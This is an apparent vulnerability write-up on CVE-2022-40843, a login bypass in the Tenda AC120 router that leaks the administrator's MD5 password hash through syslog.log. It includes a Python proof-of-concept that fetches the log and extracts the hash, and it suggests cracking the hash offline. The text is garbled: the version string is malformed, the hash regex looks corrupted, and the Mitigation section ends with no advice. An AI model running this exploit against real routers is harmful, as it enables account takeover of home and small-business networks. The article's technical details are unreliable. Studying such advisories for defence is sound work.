CVE-2022-40843: Tenda AC120 V-W15Ev2 Router Login Bypass Vulnerability and Exploit Details

A newly discovered vulnerability in the Tenda AC120 V-W15Ev2 V15.11..10(1576) router (CVE-2022-40843) could potentially allow authenticated attackers with improper authorization to bypass the router's login page and gain access to the administrator's password through unauthorized access to the syslog.log file. This potentially exposes home and small business networks to a variety of malicious exploits and attacks. In this article, we will dive into the specifics of the vulnerability and provide resources for further mitigation and prevention.

The Vulnerability

The core issue at the heart of this vulnerability is linked to improper authorization and session management within the Tenda AC120 V-W15Ev2 V15.11..10(1576) router. Essentially, attackers who are authenticated on the same network as the router can exploit these flaws to bypass the router's login page entirely.

Exploit Details

Upon successful exploitation, attackers can access the router's syslog.log file. This file, unfortunately, contains the MD5 password hash of the administrator's user account, which attackers can use to gain unauthorized access to the router's administration dashboard.

Here is a Python code snippet demonstrating how the vulnerability can be exploited

import requests
import re

target_url = 'http://<target_router_ip_address>/get_syslog.cgi?interval=60';  # Replace '<target_router_ip_address>' with the router's IP address
response = requests.get(target_url)

md5_pattern = r'([-9a-fA-F]{32})'
md5_match = re.search(md5_pattern, response.text)

if md5_match:
    print(f"MD5 password hash found: {md5_match.group()}")
else:
    print("MD5 password hash not found in the response")

After obtaining the MD5 password hash, attackers can use tools such as Hashcat or John the Ripper to crack the password offline and access the administrator's user account.

Mitigation

To protect against this vulnerability, users of the affected Tenda AC120 V-W15Ev2 V15.11..10(1576) router are encouraged to:

Conclusion

The CVE-2022-40843 vulnerability in the Tenda AC120 V-W15Ev2 V15.11..10(1576) router highlights the importance of proper session management and authorization in network devices. By staying vigilant and following best security practices, users can minimize the risk associated with this and similar vulnerabilities.

Timeline

Published on: 11/15/2022 02:15:00 UTC
Last modified on: 01/27/2023 14:24:00 UTC